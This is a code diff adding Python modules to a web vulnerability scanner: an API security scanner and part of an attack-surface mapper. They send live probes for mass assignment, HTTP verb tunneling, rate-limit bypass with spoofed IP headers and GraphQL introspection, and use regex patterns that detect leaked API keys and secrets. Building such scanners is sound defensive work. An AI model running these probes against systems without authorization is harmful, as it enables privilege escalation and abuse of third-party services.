+            return e.read().decode("utf-8", errors="ignore") if e.fp else "", e.code
+        except Exception as e:
+            self.log("ERROR", f"[API] GET error: {e}")
+            return "", 0
+
+    def _post(self, path, payload):
+        url = f"{self.base_url}{path}"
+        try:
+            data = json.dumps(payload).encode('utf-8')
+            req = urllib.request.Request(url, data=data, headers=self._headers, method='POST')
+            with urllib.request.urlopen(req, timeout=5, context=self._ctx) as resp:
+                return resp.read().decode("utf-8", errors="ignore"), resp.status
+        except urllib.error.HTTPError as e:
+            return e.read().decode("utf-8", errors="ignore") if e.fp else "", e.code
+        except Exception as e:
+            self.log("ERROR", f"[API] POST error: {e}")
+            return "", 0
+
+    def check_swagger(self):
+        self.log("INFO", "[API] Hunting for exposed Swagger/OpenAPI documentation...")
+        paths = ["/swagger-ui.html", "/api-docs", "/v2/api-docs", "/openapi.json", "/api/swagger.json", "/docs"]
+        for path in paths:
+            body, status = self._get(path)
+            if status == 200 and ("swagger" in body.lower() or "openapi" in body.lower()):
+                self.log("CRITICAL", f"[API] Exposed API documentation found at {path}")
+                self.add_vuln(
+                    title="Exposed API Documentation (Swagger/OpenAPI)",
+                    severity="High",
+                    category="Information Disclosure",
+                    cvss_score=7.5,
+                    description=f"Unauthenticated API documentation was discovered at `{path}`. Attackers can use this to map out the entire backend infrastructure, discover hidden endpoints, and find injection vectors.",
+                    remediation="Restrict access to API documentation endpoints in production environments using IP whitelisting or robust authentication."
+                )
+                break
+
+    def check_graphql(self):
+        self.log("INFO", "[API] Testing GraphQL endpoints for Introspection vulnerabilities...")
+        endpoints = ["/graphql", "/api/graphql", "/v1/graphql"]
+        introspection_query = {
+            "query": "{ __schema { types { name fields { name } } } }"
+        }
+        
+        for path in endpoints:
+            body, status = self._post(path, introspection_query)
+            if status == 200 and "__schema" in body:
+                self.log("CRITICAL", f"[API] GraphQL Introspection enabled at {path}")
+                self.add_vuln(
+                    title="GraphQL Introspection Query Enabled",
+                    severity="Critical",
+                    category="API Security",
+                    cvss_score=9.1,
+                    description=f"The GraphQL endpoint at `{path}` allows Introspection queries. An attacker dumped the entire database schema, including all types, mutations, and hidden fields. This completely exposes the application's internal data structures.",
+                    remediation="Disable GraphQL introspection in your production environment. In Apollo Server, set `introspection: false`."
+                )
+                break
+
+    def _fuzz_api_params(self):
+        swagger_paths = ["/api-docs", "/v2/api-docs", "/openapi.json", "/api/swagger.json"]
+        swagger_spec = None
+        for path in swagger_paths:
+            body, status = self._get(path)
+            if status == 200 and body:
+                try:
+                    swagger_spec = json.loads(body)
+                    break
+                except json.JSONDecodeError:
+                    continue
+
+        if swagger_spec:
+            paths = swagger_spec.get("paths", {})
+            for endpoint, methods in paths.items():
+                url = f"{self.base_url}{endpoint}"
+                for method, details in methods.items():
+                    if method.upper() not in ("GET", "POST", "PUT", "DELETE", "PATCH"):
+                        continue
+                    params = {}
+                    for param in details.get("parameters", []):
+                        if param.get("in") in ("query", "formData"):
+                            params[param["name"]] = str(param.get("default", "test"))
+                    if not params:
+                        continue
+                    self.log("INFO", f"[API] Context-aware fuzzing {endpoint} ({len(params)} params)")
+                    self._fuzzer.fuzz(url, params)
+                    baseline_body, _ = self._make_request(url, timeout=8)
+                    baseline_length = len(baseline_body or "")
+                    anomalies = self._fuzzer.anomalies(baseline_length)
+                    for anom in anomalies:
+                        self.log("WARNING", f"[API] Fuzzer anomaly at {endpoint}: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
+                        self.add_vuln(
+                            title=f"API Injection — {anom['param']} ({anom['mutation']})",
+                            severity="High",
+                            category="Injection",
+                            cvss_score=7.5,
+                            description=(
+                                f"API endpoint {endpoint} parameter '{anom['param']}' "
+                                f"(classified as '{anom['type']}') returned an anomalous response "
+                                f"when mutated with '{anom['mutation']}' (value: {anom['value']}). "
+                                f"HTTP {anom['status']}, response length {anom['length']}."
+                            ),
+                            remediation="Validate and sanitize all API input parameters. Use parameterized queries, input type enforcement, and proper output encoding.",
+                            cwe_ids=["CWE-20"],
+                            owasp_category="A03:2021 – Injection",
+                        )
+        else:
+            common_api_params = ["id", "q", "search", "query", "page", "limit", "offset", "sort", "filter",
+                                 "token", "key", "secret", "user", "email", "name", "status", "type", "role"]
+            params = {p: "test" for p in common_api_params}
+            self.log("INFO", "[API] No swagger spec found; fuzzing common API parameters on base URL")
+            self._fuzzer.fuzz(self.base_url, params)
+            baseline_body, _ = self._make_request(self.target, timeout=8)
+            baseline_length = len(baseline_body or "")
+            anomalies = self._fuzzer.anomalies(baseline_length)
+            for anom in anomalies:
+                self.log("WARNING", f"[API] Fuzzer anomaly: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
+                self.add_vuln(
+                    title=f"API Injection — {anom['param']} ({anom['mutation']})",
+                    severity="High",
+                    category="Injection",
+                    cvss_score=7.5,
+                    description=(
+                        f"Common API parameter '{anom['param']}' (classified as '{anom['type']}') "
+                        f"returned an anomalous response when mutated with '{anom['mutation']}' "
+                        f"(value: {anom['value']}). HTTP {anom['status']}, response length {anom['length']}."
+                    ),
+                    remediation="Validate and sanitize all API input parameters. Use parameterized queries, input type enforcement, and proper output encoding.",
+                    cwe_ids=["CWE-20"],
+                    owasp_category="A03:2021 – Injection",
+                )
+
+    def run(self):
+        self.log("INFO", f"[API] Starting Advanced API analysis on {self.target}...")
+        self.check_swagger()
+        self.check_graphql()
+        self._fuzz_api_params()
+        self.log("SUCCESS" if not self.vulns else "WARNING", "[API] Analysis complete.")
+        return self.vulns

backend/scanners/api_security_scanner.py

@@ -0,0 +1,538 @@
+"""
+api_security_scanner.py — Advanced REST/GraphQL/gRPC API Security Scanner
+==========================================================================
+Goes beyond basic API fuzzing to test:
+
+  1. Mass Assignment via field injection on POST/PUT/PATCH
+  2. Parameter pollution (HPP) on REST APIs
+  3. Versioned API endpoint enumeration (v1, v2, v3...)
+  4. API key leakage in responses, headers, and error messages
+  5. HTTP verb tunneling (X-HTTP-Method-Override bypass)
+  6. API rate limit bypass via header manipulation
+  7. Unauthenticated GraphQL introspection
+  8. REST API response data over-exposure (sensitive field detection)
+  9. JWT none-algorithm and algorithm confusion probing
+ 10. API documentation endpoint exposure (Swagger, OpenAPI, Postman)
+"""
+import re
+import json
+import time
+import urllib.parse
+import urllib.request
+import urllib.error
+import ssl
+import base64
+
+from scanners.base_scanner import BaseScanner
+
+
+# ── Patterns ────────────────────────────────────────────────────────────────
+API_KEY_PATTERNS = [
+    (r'(?i)api[_\-]?key\s*[:=]\s*["\']?([A-Za-z0-9_\-]{20,})["\']?', "API Key"),
+    (r'(?i)secret\s*[:=]\s*["\']?([A-Za-z0-9_\-]{20,})["\']?', "Secret"),
+    (r'(?i)access[_\-]?token\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{20,})["\']?', "Access Token"),
+    (r'(?i)auth[_\-]?token\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{20,})["\']?', "Auth Token"),
+    (r'(?i)password\s*[:=]\s*["\']?([^\s"\']{8,})["\']?', "Password"),
+    (r'(?i)client[_\-]?secret\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})["\']?', "Client Secret"),
+    (r'sk_live_[A-Za-z0-9]{24,}', "Stripe Live Key"),
+    (r'sk_test_[A-Za-z0-9]{24,}', "Stripe Test Key"),
+    (r'AKIA[0-9A-Z]{16}', "AWS Access Key"),
+    (r'AIza[0-9A-Za-z_\-]{35}', "Google API Key"),
+    (r'(?i)mongodb\+srv://[^\s"\'<>]+', "MongoDB Connection String"),
+]
+
+SENSITIVE_RESPONSE_FIELDS = [
+    "password", "passwd", "pwd", "hash", "secret", "salt",
+    "ssn", "social_security", "credit_card", "card_number", "cvv",
+    "private_key", "api_key", "access_token", "refresh_token",
+    "session_token", "auth_token", "otp_secret", "totp_secret",
+    "internal_ip", "server_ip", "db_host", "db_password",
+    "admin_email", "admin_pass",
+]
+
+DOC_ENDPOINTS = [
+    "/api/docs", "/api/swagger", "/api/openapi", "/swagger",
+    "/swagger-ui", "/swagger-ui.html", "/swagger/index.html",
+    "/api/swagger.json", "/api/openapi.json", "/openapi.json",
+    "/swagger.yaml", "/openapi.yaml", "/api/v1/swagger.json",
+    "/api/v2/swagger.json", "/v1/api-docs", "/v2/api-docs",
+    "/docs", "/redoc", "/api/redoc",
+    "/postman.json", "/postman_collection.json",
+    "/.well-known/openid-configuration",
+    "/graphql/playground", "/graphiql", "/altair",
+]
+
+API_VERSION_PATTERNS = [
+    "/api/v{n}", "/api/{n}", "/v{n}", "/v{n}/api",
+    "/api/version{n}", "/rest/v{n}",
+]
+
+MASS_ASSIGN_FIELDS = [
+    "is_admin", "role", "admin", "superuser", "is_superuser",
+    "is_staff", "permissions", "privilege", "level", "account_type",
+    "verified", "is_verified", "subscription_tier", "plan",
+    "credits", "balance", "discount",
+]
+
+HTTP_VERB_OVERRIDES = [
+    "X-HTTP-Method-Override",
+    "X-HTTP-Method",
+    "X-Method-Override",
+    "_method",
+]
+
+RATE_LIMIT_BYPASS_HEADERS = [
+    {"X-Forwarded-For": "127.0.0.1"},
+    {"X-Real-IP": "127.0.0.1"},
+    {"X-Originating-IP": "127.0.0.1"},
+    {"X-Remote-IP": "127.0.0.1"},
+    {"CF-Connecting-IP": "127.0.0.1"},
+    {"True-Client-IP": "127.0.0.1"},
+    {"X-Forwarded-For": "10.0.0.1, 127.0.0.1"},
+    {"X-Cluster-Client-IP": "127.0.0.1"},
+]
+
+
+def _ssl_context() -> ssl.SSLContext:
+    ctx = ssl.create_default_context()
+    ctx.check_hostname = False
+    ctx.verify_mode = ssl.CERT_NONE
+    return ctx
+
+
+def _request(url: str, method: str = "GET", body: bytes | None = None,
+             extra_headers: dict | None = None, timeout: int = 8) -> tuple[str, int, dict]:
+    """Make HTTP request, returning (body_text, status_code, response_headers)."""
+    try:
+        headers = {"User-Agent": "LarShield/2.0-APIScanner", "Accept": "application/json"}
+        if extra_headers:
+            headers.update(extra_headers)
+        req = urllib.request.Request(url, data=body, method=method, headers=headers)
+        with urllib.request.urlopen(req, timeout=timeout, context=_ssl_context()) as r:
+            resp_body = r.read().decode("utf-8", errors="ignore")
+            return resp_body, r.status, dict(r.headers)
+    except urllib.error.HTTPError as e:
+        try:
+            body_text = e.read().decode("utf-8", errors="ignore")
+        except Exception:
+            body_text = ""
+        return body_text, e.code, {}
+    except Exception:
+        return "", 0, {}
+
+
+def _check_api_key_in_response(body: str, headers: dict) -> list[tuple[str, str]]:
+    """Scan response body and headers for exposed secrets."""
+    found = []
+    combined = body + " " + " ".join(f"{k}: {v}" for k, v in headers.items())
+    for pattern, label in API_KEY_PATTERNS:
+        for m in re.finditer(pattern, combined):
+            found.append((label, m.group(0)[:80]))
+    return found
+
+
+def _check_sensitive_fields(body: str) -> list[str]:
+    """Find sensitive field names in JSON response."""
+    found = []
+    try:
+        data = json.loads(body)
+    except Exception:
+        # Fallback: regex search
+        data = None
+
+    if data:
+        def _scan_dict(d, depth=0):
+            if depth > 5 or not isinstance(d, (dict, list)):
+                return
+            if isinstance(d, dict):
+                for key in d.keys():
+                    if any(sf in key.lower() for sf in SENSITIVE_RESPONSE_FIELDS):
+                        found.append(key)
+                    _scan_dict(d[key], depth + 1)
+            elif isinstance(d, list):
+                for item in d[:5]:
+                    _scan_dict(item, depth + 1)
+        _scan_dict(data)
+    else:
+        for sf in SENSITIVE_RESPONSE_FIELDS:
+            if re.search(rf'["\']?{sf}["\']?\s*[:=]', body, re.IGNORECASE):
+                found.append(sf)
+    return list(set(found))
+
+
+class ApiSecurityScanner(BaseScanner):
+    """
+    Advanced REST/GraphQL API Security Scanner.
+    Performs real probes against discovered API endpoints.
+    """
+    SCANNER_NAME = "Advanced API Security Scanner"
+
+    def run(self) -> list:
+        self.log("INFO", f"[AdvAPI] Starting advanced API security scan on {self.target}")
+        self._seen: set = set()
+        parsed = urllib.parse.urlparse(self.target)
+        self._base = f"{parsed.scheme}://{parsed.netloc}"
+
+        # ── 1. API documentation endpoint exposure ───────────────────────────
+        self.log("INFO", "[AdvAPI] Probing for exposed API documentation endpoints...")
+        self._check_doc_exposure()
+
+        # ── 2. API version enumeration ───────────────────────────────────────
+        self.log("INFO", "[AdvAPI] Enumerating versioned API endpoints...")
+        found_versions = self._enumerate_api_versions()
+
+        # ── 3. Mass assignment injection ─────────────────────────────────────
+        self.log("INFO", "[AdvAPI] Testing mass assignment vulnerabilities...")
+        self._check_mass_assignment(found_versions)
+
+        # ── 4. HTTP verb tunneling ────────────────────────────────────────────
+        self.log("INFO", "[AdvAPI] Testing HTTP verb tunneling bypass...")
+        self._check_verb_tunneling()
+
+        # ── 5. API rate limit bypass via header spoofing ─────────────────────
+        self.log("INFO", "[AdvAPI] Testing rate limit bypass techniques...")
+        self._check_rate_limit_bypass()
+
+        # ── 6. GraphQL introspection ─────────────────────────────────────────
+        self.log("INFO", "[AdvAPI] Checking GraphQL introspection access...")
+        self._check_graphql_introspection()
+
+        # ── 7. Response data over-exposure ───────────────────────────────────
+        self.log("INFO", "[AdvAPI] Checking API responses for sensitive data over-exposure...")
+        self._check_data_overexposure(found_versions)
+
+        count = len(self.vulns)
+        self.log(
+            "WARNING" if count else "SUCCESS",
+            f"[AdvAPI] Complete — {count} API security issue(s) detected"
+        )
+        return self.vulns
+
+    def _check_doc_exposure(self):
+        """Check if API documentation is publicly accessible."""
+        for path in DOC_ENDPOINTS:
+            url = self._base + path
+            body, status, headers = _request(url, timeout=6)
+            if status == 200 and body:
+                # Verify it's actual API docs, not a generic 200
+                is_docs = any(kw in body.lower() for kw in [
+                    "swagger", "openapi", "paths", "definitions",
+                    "graphql", "playground", "mutation", "query",
+                    "postman", "endpoint",
+                ])
+                if is_docs:
+                    key = f"apidoc:{path}"
+                    if key not in self._seen:
+                        self._seen.add(key)
+                        self.log("HIGH", f"[AdvAPI] API documentation exposed: {url}")
+                        self.add_vuln(
+                            title=f"API Documentation Publicly Exposed: {path}",
+                            severity="High",
+                            category="API Security / Information Disclosure",
+                            cvss_score=7.5,
+                            cwe_ids=["CWE-538", "CWE-200"],
+                            owasp_category="A09:2021 – Security Logging and Monitoring Failures",
+                            description=(
+                                f"The API documentation endpoint `{url}` is publicly accessible. "
+                                f"Exposed API docs (Swagger, OpenAPI, GraphQL Playground) provide attackers "
+                                f"with a complete blueprint of all API endpoints, parameters, authentication "
+                                f"methods, and data models — dramatically accelerating attack reconnaissance."
+                            ),
+                            remediation=(
+                                "1. Restrict API documentation to authenticated users or internal networks only.\n"
+                                "2. Disable interactive API explorers (Swagger UI, GraphiQL) in production.\n"
+                                "3. Use IP allowlisting for documentation endpoints.\n"
+                                "4. Implement authentication middleware before documentation routes."
+                            ),
+                            evidence=f"HTTP {status} response from {url} with API documentation content",
+                            request_details=f"GET {url}",
+                        )
+
+    def _enumerate_api_versions(self) -> list[str]:
+        """Discover active API versioned base URLs."""
+        found = []
+        parsed = urllib.parse.urlparse(self.target)
+        base_path = parsed.path.rstrip("/")
+
+        for n in range(1, 6):
+            for pattern in ["/api/v{n}", "/v{n}", "/api/v{n}/", "/v{n}/api"]:
+                path = pattern.replace("{n}", str(n))
+                url = self._base + path
+                body, status, _ = _request(url, timeout=5)
+                if status in (200, 401, 403, 405):
+                    # Status 401/403/405 still means the endpoint exists
+                    if url not in found:
+                        found.append(url)
+                        self.log("INFO", f"[AdvAPI] Found API version endpoint: {url} (HTTP {status})")
+
+        return found
+
+    def _check_mass_assignment(self, api_bases: list[str]):
+        """Attempt mass assignment on common CRUD endpoints."""
+        endpoints_to_try = [self.target, self._base + "/api/user", self._base + "/api/users", self._base + "/api/profile"]
+        endpoints_to_try.extend(api_bases[:3])
+
+        for base_url in endpoints_to_try[:5]:
+            # Send a POST/PUT with extra privileged fields
+            payload_dict = {
+                "name": "test",
+                "email": "test@example.com",
+            }
+            # Add mass assignment fields
+            for field in MASS_ASSIGN_FIELDS[:5]:
+                payload_dict[field] = True
+
+            body_bytes = json.dumps(payload_dict).encode()
+
+            for method in ["POST", "PUT"]:
+                resp_body, status, resp_headers = _request(
+                    base_url, method=method, body=body_bytes,
+                    extra_headers={"Content-Type": "application/json"},
+                    timeout=7
+                )
+                if status in (200, 201, 204):
+                    # Check if the server reflected any privileged field back
+                    reflected_fields = []
+                    try:
+                        resp_data = json.loads(resp_body)
+                        for field in MASS_ASSIGN_FIELDS:
+                            if field in resp_data:
+                                reflected_fields.append(field)
+                    except Exception:
+                        for field in MASS_ASSIGN_FIELDS:
+                            if re.search(rf'["\']?{field}["\']?\s*:', resp_body, re.IGNORECASE):
+                                reflected_fields.append(field)
+
+                    if reflected_fields:
+                        key = f"massassign:{base_url}:{method}"
+                        if key not in self._seen:
+                            self._seen.add(key)
+                            self.log("CRITICAL", f"[AdvAPI] Mass assignment: {reflected_fields} reflected in {method} {base_url}")
+                            self.add_vuln(
+                                title=f"Mass Assignment Vulnerability via {method} {base_url}",
+                                severity="Critical",
+                                category="API Security / Mass Assignment",
+                                cvss_score=9.1,
+                                cwe_ids=["CWE-915"],
+                                owasp_category="API6:2023 – Unrestricted Access to Sensitive Business Flows",
+                                description=(
+                                    f"The endpoint `{base_url}` accepts and reflects privileged fields "
+                                    f"(`{', '.join(reflected_fields)}`) in a {method} request without "
+                                    f"filtering. An attacker can escalate privileges by submitting fields "
+                                    f"like `is_admin: true`, `role: 'admin'`, or `credits: 99999` in the request body."
+                                ),
+                                remediation=(
+                                    "1. Implement an explicit allowlist of accepted fields (not a blocklist).\n"
+                                    "2. Use Data Transfer Objects (DTOs) that only bind permitted fields.\n"
+                                    "3. Never bind the entire request body directly to database models.\n"
+                                    "4. Implement object-level authorization checks after field binding."
+                                ),
+                                evidence=f"Privileged fields reflected: {reflected_fields}",
+                                request_details=f"{method} {base_url}\nBody: {json.dumps(payload_dict)[:200]}",
+                                payload=json.dumps({f: True for f in reflected_fields}),
+                            )
+
+    def _check_verb_tunneling(self):
+        """Test HTTP verb tunneling via method override headers."""
+        test_url = self._base + "/api/admin"
+        for header in HTTP_VERB_OVERRIDES:
+            extra = {header: "DELETE"}
+            body, status, resp_headers = _request(test_url, method="POST", extra_headers=extra, timeout=6)
+            if status not in (404, 405):
+                # Check if a normally-disallowed method was accepted
+                normal_body, normal_status, _ = _request(test_url, method="DELETE", timeout=6)
+                if status != normal_status and status in (200, 204, 401, 403):
+                    key = f"verbtunn:{header}"
+                    if key not in self._seen:
+                        self._seen.add(key)
+                        self.log("HIGH", f"[AdvAPI] Verb tunneling via {header} accepted (HTTP {status})")
+                        self.add_vuln(
+                            title=f"HTTP Verb Tunneling via {header} Header",
+                            severity="High",
+                            category="API Security / Access Control",
+                            cvss_score=7.3,
+                            cwe_ids=["CWE-650"],
+                            owasp_category="API1:2023 – Broken Object Level Authorization",
+                            description=(
+                                f"The server accepts `{header}: DELETE` in a POST request, tunneling "
+                                f"a restricted HTTP method. This bypasses WAF/firewall rules that only "
+                                f"block explicit DELETE/PUT methods, allowing attackers to perform "
+                                f"destructive operations through a POST wrapper."
+                            ),
+                            remediation=(
+                                f"1. Disable `{header}` header processing on production APIs.\n"
+                                "2. Validate that WAF rules apply to effective HTTP method, not tunneled method.\n"
+                                "3. Use framework-level configuration to disable method override middleware.\n"
+                                "4. Implement resource-level authorization that doesn't depend on HTTP method alone."
+                            ),
+                            evidence=f"POST with {header}: DELETE returned HTTP {status} vs DELETE returning {normal_status}",
+                            request_details=f"POST {test_url}\n{header}: DELETE",
+                            payload=f"{header}: DELETE",
+                        )
+
+    def _check_rate_limit_bypass(self):
+        """Check if rate limits can be bypassed via IP spoofing headers."""
+        test_url = self.target
+
+        # Get baseline response
+        baseline_body, baseline_status, baseline_headers = _request(test_url, timeout=6)
+        rate_limited = False
+
+        # Send 20 rapid requests to trigger rate limiting
+        for _ in range(20):
+            body, status, _ = _request(test_url, timeout=3)
+            if status == 429:
+                rate_limited = True
+                break
+            time.sleep(0.05)
+
+        if rate_limited:
+            # Try bypass headers
+            for bypass_header in RATE_LIMIT_BYPASS_HEADERS:
+                body, status, _ = _request(test_url, extra_headers=bypass_header, timeout=6)
+                if status != 429:
+                    header_name, header_val = list(bypass_header.items())[0]
+                    key = f"ratelimit_bypass:{header_name}"
+                    if key not in self._seen:
+                        self._seen.add(key)
+                        self.log("HIGH", f"[AdvAPI] Rate limit bypassed via {header_name}: {header_val}")
+                        self.add_vuln(
+                            title=f"Rate Limit Bypass via {header_name} IP Spoofing Header",
+                            severity="High",
+                            category="API Security / Rate Limiting",
+                            cvss_score=7.5,
+                            cwe_ids=["CWE-799", "CWE-290"],
+                            owasp_category="API4:2023 – Unrestricted Resource Consumption",
+                            description=(
+                                f"The rate limiting mechanism trusts the `{header_name}` header "
+                                f"for IP identification. By setting `{header_name}: {header_val}`, "
+                                f"an attacker can bypass rate limits entirely, enabling:\n"
+                                f"- Brute force attacks on authentication endpoints\n"
+                                f"- Credential stuffing at scale\n"
+                                f"- API denial-of-service with rotating fake IPs"
+                            ),
+                            remediation=(
+                                "1. Use the actual TCP connection IP for rate limiting, not forwarded headers.\n"
+                                "2. If behind a trusted proxy, validate the proxy IP before trusting forwarded headers.\n"
+                                "3. Implement rate limiting at the TCP/network layer (not just HTTP).\n"
+                                f"4. Remove trust of `{header_name}` from untrusted sources."
+                            ),
+                            evidence=f"429 rate limit triggered normally, then bypassed with {header_name}: {header_val}",
+                            request_details=f"GET {test_url}\n{header_name}: {header_val}",
+                            payload=f"{header_name}: {header_val}",
+                        )
+
+    def _check_graphql_introspection(self):
+        """Check for unauthenticated GraphQL introspection."""
+        gql_paths = ["/graphql", "/api/graphql", "/gql", "/query", "/api/query"]
+        introspection_query = json.dumps({
+            "query": "{ __schema { types { name } } }"
+        }).encode()
+
+        for path in gql_paths:
+            url = self._base + path
+            body, status, headers = _request(
+                url, method="POST", body=introspection_query,
+                extra_headers={"Content-Type": "application/json"},
+                timeout=7
+            )
+            if status == 200 and '"__schema"' in body and '"types"' in body:
+                key = f"gql_introspect:{path}"
+                if key not in self._seen:
+                    self._seen.add(key)
+                    # Count type count as a measure of exposure
+                    type_count = body.count('"name"')
+                    self.log("HIGH", f"[AdvAPI] GraphQL introspection open at {url} ({type_count} types exposed)")
+                    self.add_vuln(
+                        title="GraphQL Introspection Enabled in Production",
+                        severity="High",
+                        category="API Security / GraphQL",
+                        cvss_score=7.5,
+                        cwe_ids=["CWE-200"],
+                        owasp_category="A09:2021 – Security Logging and Monitoring Failures",
+                        description=(
+                            f"GraphQL introspection is enabled at `{url}` without authentication. "
+                            f"Introspection exposes the complete schema ({type_count} type references), "
+                            f"including all queries, mutations, fields, arguments, and data models. "
+                            f"This provides attackers with a full API blueprint for further targeted attacks."
+                        ),
+                        remediation=(
+                            "1. Disable introspection in production GraphQL configurations.\n"
+                            "2. For Apollo Server: `introspection: false`.\n"
+                            "3. For Hasura: set HASURA_GRAPHQL_ENABLE_INTROSPECTION=false.\n"
+                            "4. Restrict introspection to authenticated admin users only.\n"
+                            "5. Implement query depth limiting and complexity analysis."
+                        ),
+                        evidence=f"GraphQL introspection returned {type_count} type references",
+                        request_details=f'POST {url}\nBody: {{"query": "{{ __schema {{ types {{ name }} }} }}"}}',
+                        payload='{ __schema { types { name } } }',
+                    )
+
+    def _check_data_overexposure(self, api_bases: list[str]):
+        """Check API responses for sensitive fields that shouldn't be exposed."""
+        endpoints = [self.target, self._base + "/api/user", self._base + "/api/me", self._base + "/api/profile"]
+        endpoints.extend(api_bases[:2])
+
+        for url in endpoints[:6]:
+            body, status, headers = _request(url, timeout=6)
+            if status == 200 and body:
+                # Check for API key leakage
+                secrets = _check_api_key_in_response(body, headers)
+                for secret_type, secret_val in secrets:
+                    key = f"secretleak:{secret_type}:{url}"
+                    if key not in self._seen:
+                        self._seen.add(key)
+                        self.log("CRITICAL", f"[AdvAPI] Secret leaked in response: {secret_type} at {url}")
+                        self.add_vuln(
+                            title=f"Sensitive Credential Exposed in API Response: {secret_type}",
+                            severity="Critical",
+                            category="API Security / Information Disclosure",
+                            cvss_score=9.1,
+                            cwe_ids=["CWE-200", "CWE-312"],
+                            owasp_category="API3:2023 – Broken Object Property Level Authorization",
+                            description=(
+                                f"The API endpoint `{url}` returns a **{secret_type}** in its response body or headers. "
+                                f"This exposes sensitive credentials that can be used to authenticate as the affected "
+                                f"user/service, access third-party APIs, or perform actions on behalf of the system.\n\n"
+                                f"**Detected pattern:** `{secret_val}`"
+                            ),
+                            remediation=(
+                                "1. Remove all sensitive fields from API responses using response DTOs/serializers.\n"
+                                "2. Never return API keys, tokens, or passwords in any API response.\n"
+                                "3. Audit all API endpoints with automated secret scanning in CI/CD.\n"
+                                "4. Rotate any exposed credentials immediately.\n"
+                                "5. Implement response filtering middleware to block secret patterns."
+                            ),
+                            evidence=f"{secret_type} found in response from {url}: {secret_val[:30]}...",
+                            request_details=f"GET {url}",
+                        )
+
+                # Check for sensitive field over-exposure
+                sensitive = _check_sensitive_fields(body)
+                if sensitive:
+                    key = f"overexpose:{url}"
+                    if key not in self._seen:
+                        self._seen.add(key)
+                        self.log("HIGH", f"[AdvAPI] Data over-exposure: {sensitive} at {url}")
+                        self.add_vuln(
+                            title=f"API Response Data Over-Exposure — Sensitive Fields Returned",
+                            severity="High",
+                            category="API Security / Data Exposure",
+                            cvss_score=7.5,
+                            cwe_ids=["CWE-213"],
+                            owasp_category="API3:2023 – Broken Object Property Level Authorization",
+                            description=(
+                                f"The API endpoint `{url}` returns sensitive fields that should not be exposed to clients: "
+                                f"`{'`, `'.join(sensitive[:8])}`.\n\n"
+                                f"Over-exposure occurs when API responses include more data than the frontend actually needs, "
+                                f"relying on the UI to 'hide' sensitive information that is still transmitted over the network."
+                            ),
+                            remediation=(
+                                "1. Implement field-level filtering in API serializers — only return fields the client needs.\n"
+                                "2. Use separate response schemas for different user roles.\n"
+                                "3. Avoid returning full database model objects directly as API responses.\n"
+                                "4. Regularly audit API response fields using automated data classification tools."
+                            ),
+                            evidence=f"Sensitive fields in response: {sensitive[:5]}",
+                            request_details=f"GET {url}",
+                        )

backend/scanners/attack_surface_scanner.py

@@ -0,0 +1,227 @@
+"""
+attack_surface_scanner.py — Attack Surface Mapper
+==================================================
+Enumerates and maps the full attack surface of a web application:
+  - All discovered endpoints / routes
+  - Query parameters and form fields across all pages
+  - External domains and third-party scripts
+  - API endpoints (REST / GraphQL hints)
+  - Admin / sensitive paths
+  - File upload endpoints
+  - Technology stack identified
+  - Email addresses / internal references exposed
+"""
+import re, urllib.parse, urllib.request
+from scanners.base_scanner import BaseScanner
+
+SENSITIVE_PATH_RE = re.compile(
+    r"(admin|administrator|manager|console|panel|dashboard|config|backup|"
+    r"phpmyadmin|wp-admin|wp-login|cpanel|webmail|api/v\d|swagger|graphql|"
+    r"actuator|debug|trace|health|metrics|env|info|beans|heapdump)", re.I
+)
+
+FILE_UPLOAD_RE = re.compile(
+    r'<input[^>]+type=["\']file["\']', re.I
+)
+
+EMAIL_RE = re.compile(
+    r'\b[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}\b'
+)
+
+INTERNAL_IP_RE = re.compile(
+    r'\b(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+\.\d+|192\.168\.\d+\.\d+)\b'
+)
+
+API_PATTERNS = re.compile(
+    r'["\']/(api|v\d+|rest|graphql|query|endpoint)[^"\']*["\']', re.I
+)
+
+
+class AttackSurfaceScanner(BaseScanner):
+    SCANNER_NAME = "Attack Surface Mapper"
+    _SCANNER_KEY = "attack_surface"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    # ------------------------------------------------------------------
+    def run(self) -> list:
+        self.log("INFO", f"[AttackSurface] Mapping attack surface of {self.target}...")
+        try:
+            urls, forms, html, all_html = self._crawl_deep()
+            self._analyze_surface(urls, forms, html, all_html)
+        except Exception as e:
+            self.log("WARNING", f"[AttackSurface] Error: {e}")
+
+        self.log("SUCCESS",
+            f"[AttackSurface] Mapping complete. {len(self.vulns)} exposure(s) documented.")
+        return self.vulns
+
+    # ------------------------------------------------------------------
+    def _crawl_deep(self):
+        try:
+            results = self.discovery_context or {}
+            urls = [u["url"] if isinstance(u, dict) else u for u in results.get("urls", [])]
+            if self.target not in urls:
+                urls.insert(0, self.target)
+            forms = results.get("forms", [])
+            all_html = results.get("page_contents", {})
+            combined = " ".join(all_html.values()) if all_html else ""
+            return urls, forms, combined, all_html
+        except Exception as e:
+            self.log("ERROR", f"[AttackSurface] _crawl_deep error: {e}")
+            body = self._fetch(self.target)
+            return [self.target], [], body or "", {}
+
+    def _fetch(self, url):
+        try:
+            req = urllib.request.Request(url,
+                headers={"User-Agent": "LarShield/2.0 AttackSurface"})
+            with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
+                return r.read().decode("utf-8", errors="ignore")
+        except Exception as e:
+            self.log("ERROR", f"[AttackSurface] _fetch error: {e}")
+            return ""
+
+    # ------------------------------------------------------------------
+    def _analyze_surface(self, urls, forms, combined_html, all_html):
+        # ── 1. Endpoint inventory ─────────────────────────────────────
+        unique_paths = sorted({urllib.parse.urlparse(u).path for u in urls})
+        self.log("INFO",
+            f"[AttackSurface] Discovered {len(unique_paths)} unique path(s), "
+            f"{len(forms)} form(s)")
+
+        # ── 2. Sensitive / admin paths ────────────────────────────────
+        sensitive = [p for p in unique_paths if SENSITIVE_PATH_RE.search(p)]
+        if sensitive:
+            self.add_vuln(
+                title=f"Sensitive/Admin Paths Discovered ({len(sensitive)} paths)",
+                severity="Medium",
+                category="Attack Surface",
+                cvss_score=5.3,
+                description="The following sensitive endpoints were found accessible:\n\n" +
+                    "\n".join(f"- `{self.target.rstrip('/')}{p}`" for p in sensitive[:20]),
